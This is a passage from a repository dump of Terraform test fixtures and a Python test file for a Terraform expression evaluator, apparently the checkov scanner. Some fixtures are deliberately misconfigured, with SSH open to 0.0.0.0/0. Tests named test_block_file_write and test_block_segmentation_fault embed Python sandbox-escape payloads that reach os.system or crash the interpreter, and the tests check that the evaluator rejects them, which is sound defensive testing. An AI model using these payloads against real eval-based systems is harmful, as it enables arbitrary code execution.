    "content": "resource \"aws_codepipeline\" \"pipe\" {\n  artifact_store {\n    location = var.artifact_store[\"location\"]\n    type     = var.artifact_store[\"type\"]\n    encryption_key {\n      id   = var.kms_key_arn\n      type = \"KMS\"\n    }\n  }\n\n  name     = var.name\n  role_arn = local.role_arn\n\n\n  dynamic \"stage\" {\n    for_each = [for s in var.stages : {\n      name   = s.name\n      action = s.action\n    } if(lookup(s, \"enabled\", true))]\n\n    content {\n      name = stage.value.name\n      dynamic \"action\" {\n        for_each = stage.value.action\n        content {\n          name             = action.value[\"name\"]\n          owner            = action.value[\"owner\"]\n          version          = action.value[\"version\"]\n          category         = action.value[\"category\"]\n          provider         = action.value[\"provider\"]\n          input_artifacts  = lookup(action.value, \"input_artifacts\", [])\n          output_artifacts = lookup(action.value, \"output_artifacts\", [])\n          configuration    = lookup(action.value, \"configuration\", {})\n          role_arn         = lookup(action.value, \"role_arn\", null)\n          run_order        = lookup(action.value, \"run_order\", null)\n          region           = lookup(action.value, \"region\", data.aws_region.current.name)\n        }\n      }\n    }\n  }\n\n  tags = var.common_tags\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_nested_with_lookup_foreach/module.codepipeline.tf",
    "content": "module \"codepipeline\" {\n  source         = \".\"\n  artifact_store = local.artifact_store\n  common_tags    = var.common_tags\n  description    = var.description\n  name           = var.name\n  stages         = var.stages\n  kms_key_arn    = aws_kms_key.example.arn\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_nested_with_lookup_foreach/variables.tf",
    "content": "variable \"artifact_store\" {\n  description = \"Map to populate the artifact block\"\n  type        = map(any)\n}\n\nvariable \"name\" {\n  type = string\n}\n\nvariable \"role_arn\" {\n  type        = string\n  description = \"Optionally supply an existing role\"\n  default     = \"\"\n}\n\nvariable \"stages\" {\n  type        = list(any)\n  description = \"This list describes each stage of the build\"\n}\n\nvariable \"description\" {\n  type        = string\n  description = \"Description of build project\"\n}\n\nvariable \"common_tags\" {\n  type        = map(any)\n  description = \"Implements the common tags scheme\"\n}\n\nvariable \"policypath\" {\n  default     = \"\"\n  type        = string\n  description = \"\"\n}\n\n\nvariable \"kms_key_arn\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_with_conditional_expression/cosmosdb_account_main.tf",
    "content": "# Cosmosdb account definition;\nresource \"azurerm_cosmosdb_account\" \"account\" {\n  # Dynamic block for configuring Cosmos account to use a specific Managed Service Identity;\n  dynamic \"identity\" {\n    for_each = length(keys(var.identity)) > 0 ? [var.identity] : []\n    content {\n      type         = lookup(identity.value, \"type\", \"SystemAssigned\") # Set to SystemAssigned per Cosmos THR requirement R_2.5.\n      identity_ids = lookup(identity.value, \"identity_ids\", null)\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_with_conditional_expression/cosmosdb_account_vars.tf",
    "content": "variable \"identity\" {\n  description = \"The Type of Managed Identity assigned to this Cosmos account. Possible values are `SystemAssigned`, `UserAssigned` and `SystemAssigned, UserAssigned`.\"\n  type        = any\n  default = {\n    type = \"SystemAssigned\" # Set to SystemAssigned per Cosmos THR requirement R_2.5.\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/list_entry_module_var/module/main.tf",
    "content": "variable \"vpc_id\" {\n  type = string\n}\n\nvariable \"cidr_sg\" {\n  type    = string\n  default = \"0.0.0.0/0\"\n}\n\nresource \"aws_security_group\" \"sg\" {\n  name            = \"example\"\n  vpc_id          = var.vpc_id\n\n  ingress {\n    from_port       = 22\n    to_port         = 22\n    protocol        = \"TCP\"\n    cidr_blocks     = [var.cidr_sg]\n  }\n  egress {\n    from_port       = 22\n    to_port         = 22\n    protocol        = \"TCP\"\n    cidr_blocks     = [\"10.0.0.0/16\", var.cidr_sg]\n  }\n}\n\nvariable \"empty_ingress\" {\n  type = list\n}\n\nresource \"aws_security_group\" \"multiple_ingress_sg\" {\n  name            = \"example\"\n  vpc_id          = var.vpc_id\n\n  ingress = [var.empty_ingress]\n  ingress = [\n    {\n    from_port       = 23\n    to_port         = 23\n    protocol        = \"TCP\"\n    cidr_blocks     = [var.cidr_sg]\n  },\n    var.empty_ingress\n  ]\n\n  egress {\n    from_port       = 22\n    to_port         = 22\n    protocol        = \"TCP\"\n    cidr_blocks     = [\"10.0.0.0/16\", var.cidr_sg]\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/lookup_from_var/main.tf",
    "content": "locals {\n    protocol1 = var.nc_local_sns\n    endpoint1 = var.nc_local_endpoint\n}\n\nresource \"aws_sns_topic_subscription\" \"sample_nc_local\" {\n  protocol  = lookup({a=local.protocol1}, \"a\", \"https\")\n  endpoint  = lookup({a=local.endpoint1}, \"a\", \"https://www.example.com\")\n  topic_arn = \"\"\n}\n\nvariable \"nc_local_sns\" {\n    type = string\n    description = \"(optional) describe your variable\"\n    default = \"http\"\n}\nvariable \"nc_local_endpoint\" {\n    type = string\n    description = \"(optional) describe your variable\"\n    default = \"http://www.example.com\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/multiple_dynamic_blocks/main.tf",
    "content": "resource \"google_sql_database_instance\" \"instance4-should-fail\" {\n  name             = \"instance\"\n  database_version = \"POSTGRES_11\"\n\n  settings {\n    tier = \"db-f1-micro\"\n\n    ip_configuration {\n\n      dynamic \"authorized_networks\" {\n        for_each = google_compute_instance.apps\n        iterator = apps\n\n        content {\n          name  = apps.value.name\n          value = apps.value.network_interface.0.access_config.0.nat_ip\n        }\n      }\n\n      dynamic \"authorized_networks\" {\n        for_each = local.onprem\n        iterator = onprem\n\n        content {\n          name  = \"onprem-${onprem.key}\"\n          value = \"0.0.0.0/0\"\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/provider_alias/main.tf",
    "content": "locals {\n  tags = {\n    test = \"Test\"\n  }\n}\n\nprovider \"aws\" {\n  default_tags {\n    tags = local.tags\n  }\n}\n\n\nprovider \"aws\" {\n  alias = \"test\"\n  default_tags {\n    tags = local.tags\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/skip_renderer/ellipsis.tf",
    "content": "\nvariable \"a\" {\n  default = \"...\"\n}\n\nlocals {\n  b = var.a\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/tfvar_module_variables/install_airpods.tf",
    "content": "module \"airpods\"{\n  source = \"./modules/instance\"\nvar_instance = var.var_instance\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/tfvar_module_variables/modules/instance/main.tf",
    "content": "resource \"google_compute_instance\" \"instance\" {\n  name         = var.var_instance.instance_name\n  machine_type = var.var_instance.instance_machine_type\n  zone         = var.var_instance.instance_zone\n\n  tags = [\"foofoo\", \"barbar\"]\n\n  boot_disk {\n    initialize_params {\n      image = var.var_instance.instance_image\n    }\n  }\n\n  // Local SSD disk\n  scratch_disk {\n    interface = var.var_instance.instance_interface_disk\n  }\n\n  network_interface {\n    network = var.var_instance.instance_network\n\n    access_config {\n      // Ephemeral IP\n    }\n  }\n\n  metadata = {\n    env = var.var_instance.meta_env\n  }\n\n  service_account {\n    scopes = [\"userinfo-email\", \"compute-ro\", \"storage-ro\"]\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/tfvar_module_variables/modules/instance/outputs.tf",
    "content": "output \"address_instance\"{\n value = google_compute_instance.instance.network_interface.0.network_ip\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/tfvar_module_variables/modules/instance/variables.tf",
    "content": "variable \"var_instance\"{\n  description = \"TODO\"\n  type = object({\n          instance_name           = string\n          instance_machine_type   = string\n          instance_zone           = string\n          instance_image          = string\n          instance_interface_disk = string\n          instance_network        = string\n          meta_env                = string\n\n    })\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/tfvar_module_variables/outputs.tf",
    "content": "output \"address_instance\"{\n value = module.airpods.address_instance\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/tfvar_module_variables/provider.tf",
    "content": "provider \"google\" {\n  credentials = \"${file(\"${var.path}/account.json\")}\" // put the path to your service account file\n  project     = \"airpods-yoyo-291302\"\n  region      = \"us-central1-a\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/tfvar_module_variables/terraform.tfvars",
    "content": "\nvar_instance = {\ninstance_name           = \"airpods\"\ninstance_machine_type   = \"n1-standard-1\"\ninstance_zone           = \"us-central1-a\"\ninstance_image          = \"ubuntu-2004-banana-v20200529\"\ninstance_interface_disk = \"SCSI\"\ninstance_network        = \"default\"\nmeta_env                = \"airpods\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/tfvar_module_variables/variables.tf",
    "content": "variable \"var_instance\"{\n  description = \"\"\n  type = object({\n          instance_name           = string\n          instance_machine_type   = string\n          instance_zone           = string\n          instance_image          = string\n          instance_interface_disk = string\n          instance_network        = string\n          meta_env                = string\n    })\n}\n\nvariable \"path\"{\n  description = \"\"\n  type = string\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_string_evaluation.py",
    "content": "import os\nfrom unittest import TestCase, mock\nfrom datetime import datetime\n\nimport pytest\n\nfrom checkov.terraform.graph_builder.variable_rendering.evaluate_terraform import evaluate_terraform, \\\n    replace_string_value, \\\n    remove_interpolation, _find_new_value_for_interpolation\nfrom checkov.terraform.graph_builder.variable_rendering.safe_eval_functions import evaluate, get_asteval\n\n\nclass TestTerraformEvaluation(TestCase):\n    def test_zipmap(self):\n        input_str = '\"zipmap([\"a\", \"b\"], [1, 2])\"'\n        expected = {'a': 1, 'b': 2}\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_directive(self):\n        input_str = '\"Hello, %{ if \"d\" != \"\" }named%{ else }unnamed%{ endif }!\"'\n        expected = 'Hello, named!'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_condition(self):\n        input_str = '\"2 > 0 ? bigger : smaller\"'\n        expected = 'bigger'\n        self.assertEqual(expected, evaluate_terraform(input_str).strip())\n\n        input_str = '\"2 > 5 ? bigger : smaller\"'\n        expected = 'smaller'\n        self.assertEqual(expected, evaluate_terraform(input_str).strip())\n\n    def test_conditional_expression(self):\n        input_str = '\"[\\'${blocked == \"allowed\" ? True : False}\\']\"'\n        expected = False\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = '${blocked == \"allowed\" ? True : False}'\n        expected = False\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = 'blocked == \"allowed\" ? True : False'\n        expected = False\n        self.assertEqual(expected, evaluate_terraform(input_str))\n        \n        input_str = 'True == \"true\" ? True : False'\n        expected = True\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = 'False != \"false\" ? True : False'\n        expected = False\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_nested_conditional_expression(self):\n        input_str = \"{for resource in concat(true ? [{'name'='test'}] : [], false ? [] : [{'name'='test2'}]) : resource.name => resource}\"\n        value = evaluate_terraform(input_str)\n        self.assertEqual(value, {'test': {'name': 'test'}, 'test2': {'name': 'test2'}})\n\n\n    def test_format(self):\n        input_str = '\"format(\"Hello, %s!\", \"Ander\")\"'\n        expected = 'Hello, Ander!'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = '\"format(\"There are %d lights\", 4)\"'\n        expected = 'There are 4 lights'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_formatlist(self):\n        input_str = '\"formatlist(\"Hello, %s!\", [\"Valentina\", \"Ander\", \"Olivia\", \"Sam\"])\"'\n        expected = ['Hello, Valentina!', 'Hello, Ander!', 'Hello, Olivia!', 'Hello, Sam!']\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_join(self):\n        input_str = 'join(\", \", [\"foo\", \"bar\", \"baz\"])'\n        expected = 'foo, bar, baz'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = 'join(\", \", [\"foo\"])'\n        expected = 'foo'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_regex(self):\n        input_str = 'regex(\"[a-z]+\", \"53453453.345345aaabbbccc23454\")'\n        expected = 'aaabbbccc'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = 'regex(\"[a-z]+\", \"53453453.34534523454\")'\n        expected = ''\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = 'regex(\"^(?:(?P<scheme>[^:/?#]+):)?(?://(?P<authority>[^/?#]*))?\", \"https://terraform.io/docs/\")'\n        expected = {\"authority\":\"terraform.io\", \"scheme\": \"https\"}\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = 'regex(r\"(\\\\d\\\\d\\\\d\\\\d)-(\\\\d\\\\d)-(\\\\d\\\\d)\", \"2019-02-01\")'\n        expected = [\"2019\",\"02\",\"01\"]\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = 'regex(\"[a-z]+\", \"53453453.34534523454\")'\n        expected = ''\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_regexall(self):\n        input_str = 'regexall(\"[a-z]+\", \"1234abcd5678efgh9\")'\n        expected = [\"abcd\",\"efgh\"]\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = 'length(regexall(\"[a-z]+\", \"1234abcd5678efgh9\"))'\n        expected = 2\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = 'length(regexall(\"[a-z]+\", \"123456789\")) > 0'\n        expected = False\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_replace(self):\n        input_str = 'replace(\"1 + 2 + 3\", \"+\", \"-\")'\n        expected = -4\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_substr(self):\n        input_str = 'substr(\"hello world\", 1, 4)'\n        expected = 'ello'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_trim(self):\n        input_str = 'trim(\"?!hello?!\", \"!?\")'\n        expected = 'hello'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_trimprefix(self):\n        input_str = 'trimprefix(\"helloworld\", \"hello\")'\n        expected = 'world'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_upper(self):\n        input_str = 'upper(\"hello\")'\n        expected = 'HELLO'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = 'upper(\"алло!\")'\n        expected = 'АЛЛО!'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_chunklist(self):\n        input_str = 'chunklist([\"a\", \"b\", \"c\", \"d\", \"e\"], 2)'\n        expected = [[\"a\", \"b\"], [\"c\", \"d\"], [\"e\"]]\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_coalese(self):\n        input_str = 'coalesce(\"a\", \"b\")'\n        expected = 'a'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = 'coalesce(\"\", \"b\")'\n        expected = 'b'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = 'coalesce(1, 2)'\n        expected = 1\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_coalescelist(self):\n        input_str = 'coalescelist([\"a\", \"b\"], [\"c\", \"d\"])'\n        expected = ['a', 'b']\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = 'coalescelist([], [\"c\", \"d\"])'\n        expected = [\"c\", \"d\"]\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_compact(self):\n        input_str = 'compact([\"a\", \"\", \"b\", \"c\"])'\n        expected = ['a', 'b', 'c']\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_concat(self):\n        input_str = 'concat([\"a\", \"\"], [\"b\", \"c\"])'\n        expected = ['a', '', 'b', 'c']\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = 'concat([\\'postgresql-tcp\\'],[],[\\'\\'])'\n        expected = ['postgresql-tcp', '']\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_concat_dictionaries(self):\n        input_str = \"concat([{'key':'a','value':'a'},{'key':'b','value':'b'}, \\\"{'key':'d','value':'d'}\\\"],,[{'key':'c','value':'c'}],)\"\n        expected = [{'key':'a','value':'a'},{'key':'b','value':'b'},\"{'key':'d','value':'d'}\",{'key':'c','value':'c'}]\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = 'concat([\\'postgresql-tcp\\'],[],[\\'\\'])'\n        expected = ['postgresql-tcp', '']\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_distinct(self):\n        input_str = 'distinct([\"a\", \"b\", \"a\", \"c\", \"d\", \"b\"])'\n        expected = ['a', 'b', 'c', 'd']\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_flatten(self):\n        input_str = 'flatten([[\"a\", \"b\"], [], [\"c\"]])'\n        expected = ['a', 'b', 'c']\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = 'flatten([[[\"a\", \"b\"], []], [\"c\"]])'\n        expected = ['a', 'b', 'c']\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_index(self):\n        input_str = 'index([\"a\", \"b\", \"c\"], \"b\")'\n        expected = 1\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_keys(self):\n        input_str = 'keys({\"a\"=\"ay\", \"b\"=\"bee\"})'\n        expected = [\"a\", \"b\"]\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_list(self):\n        input_str = 'list(\"a\", \"b\", \"c\")'\n        expected = ['a', 'b', 'c']\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_lookup(self):\n        input_str = 'lookup({\"a\"=\"ay\", \"b\"=\"bee\"}, \"a\", \"what?\")'\n        expected = 'ay'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_matchkeys(self):\n        input_str = 'matchkeys([\"i-123\", \"i-abc\", \"i-def\"], [\"us-west\", \"us-east\", \"us-east\"], [\"us-east\"])'\n        expected = [\"i-abc\", \"i-def\"]\n        actual = evaluate_terraform(input_str)\n        for elem in actual:\n            if elem not in expected:\n                self.fail(f'expected to find {elem} in {expected}. Got {actual}')\n\n    def test_merge(self):\n        input_str = 'merge({\"a\"=\"b\", \"c\"=\"d\"}, {\"e\"=\"f\", \"c\"=\"z\"})'\n        expected = {\"a\":\"b\", \"c\":\"z\",\"e\":\"f\"}\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_merge2(self):\n        input_str = 'merge({\"a\"=\"b\", \"c\"=\"d\"}, {\"e\"=\"f\", \"c\"=\"z\"}, {\"r\"=\"o\", \"t\"=\"m\"})'\n        expected = {\"a\":\"b\", \"c\":\"z\",\"e\":\"f\",\"r\":\"o\",\"t\":\"m\"}\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_merge_multiline(self):\n        input_str = \"merge(\\n{'Tag1':'one','Tag2':'two'},\\n{'Tag4' = 'four'},\\n{'Tag2'='multiline_tag2'})\"\n        expected = {'Tag1': 'one', 'Tag2': 'multiline_tag2', 'Tag4': 'four'}\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_merge_interpolation(self):\n        input_str = '${merge({\\'environment\\':\\'${var.environment}\\',\\'name\\':\\'${local.cluster_name}\\',\\'role\\':\\'${var.role}\\',\\'team\\':\\'${var.team}\\'})}'\n        expected = {'environment': 'var.environment', 'name': 'local.cluster_name', 'role': 'var.role', 'team': 'var.team'}\n        actual = evaluate_terraform(input_str, keep_interpolations=False)\n        self.assertEqual(expected, actual)\n\n\n    def test_reverse(self):\n        input_str = 'reverse([1, 2, 3])'\n        expected = [3, 2, 1]\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_sort(self):\n        input_str = 'sort(compact(distinct(concat([\\'postgresql-tcp\\'],[],[\\'\\']))))'\n        expected = ['postgresql-tcp']\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_condition2(self):\n        input_str = 'us-west-2 == \"something to produce false\" ? true : false'\n        expected = 'false'\n        self.assertEqual(expected, evaluate_terraform(input_str).strip())\n\n    def test_complex_merge(self):\n        cases = [\n            (\"merge(local.one, local.two)\", \"merge(local.one, local.two)\"),\n            ('merge({\"Tag4\" = \"four\"}, {\"Tag5\" = \"five\"})', {\"Tag4\": \"four\", \"Tag5\": \"five\"}),\n            ('merge({\"a\"=\"b\"}, {\"b\"=[1,2], \"c\"=\"z\"}, {\"d\"=3})', {\"a\": \"b\", \"b\": [1, 2], \"c\": \"z\", \"d\": 3}),\n            (\"merge({'a': '}, evil'})\", {\"a\": \"}, evil\"}),\n            (\n                \"merge(local.common_tags,,{'Tag4': 'four'},,{'Tag2': 'Dev'},)\",\n                \"merge(local.common_tags,{'Tag4': 'four'},{'Tag2': 'Dev'},)\",\n            ),\n        ]\n        for case in cases:\n            input_str = case[0]\n            expected = input_str if case[1] is None else case[1]\n            actual = evaluate_terraform(input_str)\n            assert actual == expected, f'Case \"{input_str}\" failed. Expected: {expected}  Actual: {actual}'\n\n    def test_map_access(self):\n        input_str = '{\\'module-input-bucket\\':\\'mapped-bucket-name\\'}[module-input-bucket]-works-yay'\n        expected = 'mapped-bucket-name-works-yay'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n        input_str = '{\"module-input-bucket\":\"mapped-bucket-name\"}[module-input-bucket]-works-yay'\n        expected = 'mapped-bucket-name-works-yay'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_replace_with_map(self):\n        original_str = '{\\'module-input-bucket\\':\\'mapped-bucket-name\\'}[module.bucket.name]-works-yay'\n        replaced = replace_string_value(original_str, \"module.bucket.name\", \"module-input-bucket\", keep_origin=False)\n        expected = '{\\'module-input-bucket\\':\\'mapped-bucket-name\\'}[module-input-bucket]-works-yay'\n        self.assertEqual(expected, replaced)\n\n    def test_replace_interpolation(self):\n        original_str = '${mapped-bucket-name}[module.bucket.name]-works-yay'\n        replaced = replace_string_value(original_str, \"module.bucket.name\", \"module-input-bucket\", keep_origin=False)\n        expected = '${mapped-bucket-name}[module-input-bucket]-works-yay'\n        self.assertEqual(expected, replaced)\n\n    def test_remove_interpolation1(self):\n        original_str = '${merge(local.common_tags,local.common_data_tags,{\\'Name\\':\\'Bob-${local.static1}-${local.static2}\\'})}'\n        replaced = remove_interpolation(original_str)\n        expected = 'merge(local.common_tags,local.common_data_tags,{\\'Name\\':\\'Bob-local.static1-local.static2\\'})'\n        self.assertEqual(expected, replaced)\n\n    def test_jsonencode(self):\n        cases = [\n            (\"jsonencode(['a', 42, true, null])\", [\"a\", 42, True, None]),\n            (\"jsonencode({'a': 'b'})\", {\"a\": \"b\"}),\n            (\"jsonencode({'a' = 'b'})\", {\"a\": \"b\"}),\n            (\"jsonencode({'a' = 42})\", {\"a\": 42}),\n            (\"jsonencode({'a' = true})\", {\"a\": True}),\n            (\"jsonencode({'a' = false})\", {\"a\": False}),\n            (\"jsonencode({'a' = null})\", {\"a\": None}),\n            (\"jsonencode({'a' = ['b', 'c']})\", {\"a\": [\"b\", \"c\"]}),\n            (\"jsonencode({'a' = jsonencode(['b', 'c'])})\", {\"a\": [\"b\", \"c\"]}),\n        ]\n\n        for input_str, expected in cases:\n            with self.subTest(input_str):\n                assert evaluate_terraform(input_str) == expected\n\n    def test_block_file_write(self):\n        temp_file_path = \"/tmp/file_shouldnt_create\"\n        input_str = \"[x for x in {}.__class__.__bases__[0].__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('date >> /tmp/file_shouldnt_create')\"\n        evaluated = evaluate_terraform(input_str)\n        self.assertEqual(input_str, evaluated)\n        self.assertFalse(os.path.exists(temp_file_path))\n\n    def test_block_file_write2(self):\n        temp_file_path = \"/tmp/file_shouldnt_create_vuln\"\n        input_str = \"(lambda: [x for x in {}.__class__.__bases__[0].__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('date >> /tmp/file_shouldnt_create_vuln'))()\"\n        evaluated = evaluate_terraform(input_str)\n        self.assertEqual(input_str, evaluated)\n        self.assertFalse(os.path.exists(temp_file_path))\n\n    def test_block_file_write_lower(self):\n        temp_file_path = \"/tmp/file_shouldnt_create\"\n        input_str = \"[x for x in parsint.__bases__[0].__subclasses__()][134]()._module.__builtins__['__IMPORT__'.lower()]('os').system('date >> /tmp/file_shouldnt_create')\"\n        evaluated = evaluate_terraform(input_str)\n        self.assertEqual(input_str, evaluated)\n        self.assertFalse(os.path.exists(temp_file_path))\n\n    def test_block_math_expr(self):\n        input_str = \"__import__('math').sqrt(25)\"\n        evaluated = evaluate_terraform(input_str)\n        self.assertEqual(input_str, evaluated)\n\n    def test_block_segmentation_fault(self):\n        # in this test, the following code is causing segmentation fault if evaluated\n        input_str = \"\"\"\n(lambda fc=(\n    lambda n: [\n        c for c in\n            ().__class__.__bases__[0].__subclasses__()\n            if c.__name__ == n\n        ][0]\n    ):\n    fc(\"function\")(\n        fc(\"code\")(\n            0,0,0,0,0,b'test',(),(),(),\"\",\"\",0,b'test'\n        ),{}\n    )()\n)()\n\"\"\"\n        evaluated = evaluate_terraform(input_str)\n        self.assertEqual(input_str.replace(\"\\n\", \"\"), evaluated)\n\n    def test_evaluate_(self):\n        input_str = '\"10\\\\.0\\\\.\\\\0.\\\\0/8\"'\n        expected = '10\\\\.0\\\\.\\\\0.\\\\0/8'\n        evaluated = evaluate_terraform(input_str)\n        self.assertEqual(expected, evaluated)\n\n    # Date Function\n    @mock.patch('checkov.terraform.graph_builder.variable_rendering.safe_eval_functions.datetime')\n    def test_timestamp(self,mock_dt):\n        testdt = datetime(2018, 5, 13, 7, 44, 12, 0)\n        mock_dt.utcnow = mock.Mock(return_value=testdt)\n        input_str = 'timestamp()'\n        expected = \"2018-05-13T07:44:12Z\"\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_timeadd_hours(self):\n        input_str = 'timeadd(\"2018-05-13T07:44:12Z\",\"24h\")'\n        expected = \"2018-05-14T07:44:12Z\"\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_timeadd_negative_hours(self):\n        input_str = 'timeadd(\"2018-05-13T07:44:12Z\",\"-24h\")'\n        expected = \"2018-05-12T07:44:12Z\"\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_timeadd_partialhours(self):\n        input_str = 'timeadd(\"2018-05-13T07:44:12Z\",\"1.5h\")'\n        expected = \"2018-05-13T09:14:12Z\"\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_timeadd_minutes(self):\n        input_str = 'timeadd(\"2018-05-13T07:44:12Z\",\"16m\")'\n        expected = \"2018-05-13T08:00:12Z\"\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_timeadd_hours_and_minutes(self):\n        input_str = 'timeadd(\"2018-05-13T07:44:12Z\",\"1h16m\")'\n        expected = \"2018-05-13T09:00:12Z\"\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_timeadd_hours_and_minutes_and_seconds(self):\n        input_str = 'timeadd(\"2018-05-13T07:44:12Z\",\"1h16m49s\")'\n        expected = \"2018-05-13T09:01:01Z\"\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_timeadd_hours_and_minutes_and_seconds_milliseconds(self):\n        input_str = 'timeadd(\"2018-05-13T07:44:12Z\",\"1h16m49s1001ms\")'\n        expected = \"2018-05-13T09:01:02Z\"\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_timeadd_hours_and_minutes_and_seconds_milliseconds_microseconds(self):\n        input_str = 'timeadd(\"2018-05-13T07:44:12Z\",\"1h16m49s1001ms1000001us\")'\n        expected = \"2018-05-13T09:01:03Z\"\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_formatdatesimple(self):\n        input_str = 'formatdate(\"HH:mm\", \"2018-01-02T23:12:01Z\")'\n        expected = '11:12'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_formatdate_simple_and_am(self):\n        input_str = 'formatdate(\"HH:mmaa\", \"2018-01-02T23:12:01Z\")'\n        expected = '11:12pm'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_formatdate_more_complex(self):\n        input_str = 'formatdate(\"DD MMM YYYY hh:mm\", \"2018-01-02T23:12:01Z\")'\n        expected = '02 Jan 2018 23:12'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_formatdate_with_day(self):\n        input_str = 'formatdate(\"EEE, DD MMM YYYY hh:mm:ss ZZZZZ\", \"2018-01-02T23:12:01-08:00\")'\n        expected = 'Tue, 02 Jan 2018 23:12:01 -08:00'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_formatdate_utc_and_zzz(self):\n        input_str = 'formatdate(\"DD MMM YYYY hh:mm ZZZ\", \"2018-01-02T23:12:01Z\")'\n        expected = '02 Jan 2018 23:12 UTC'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_formatdate_utc_and_z(self):\n        input_str = 'formatdate(\"DD MMM YYYY hh:mm Z\", \"2018-01-02T23:12:01Z\")'\n        expected = '02 Jan 2018 23:12 Z'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n    def test_formatdate_with_day_utc(self):\n        input_str = 'formatdate(\"EEE, DD MMM YYYY hh:mm:ss ZZZ\", \"2018-01-02T23:12:01-00:00\")'\n        expected = 'Tue, 02 Jan 2018 23:12:01 UTC'\n        self.assertEqual(expected, evaluate_terraform(input_str))\n\n   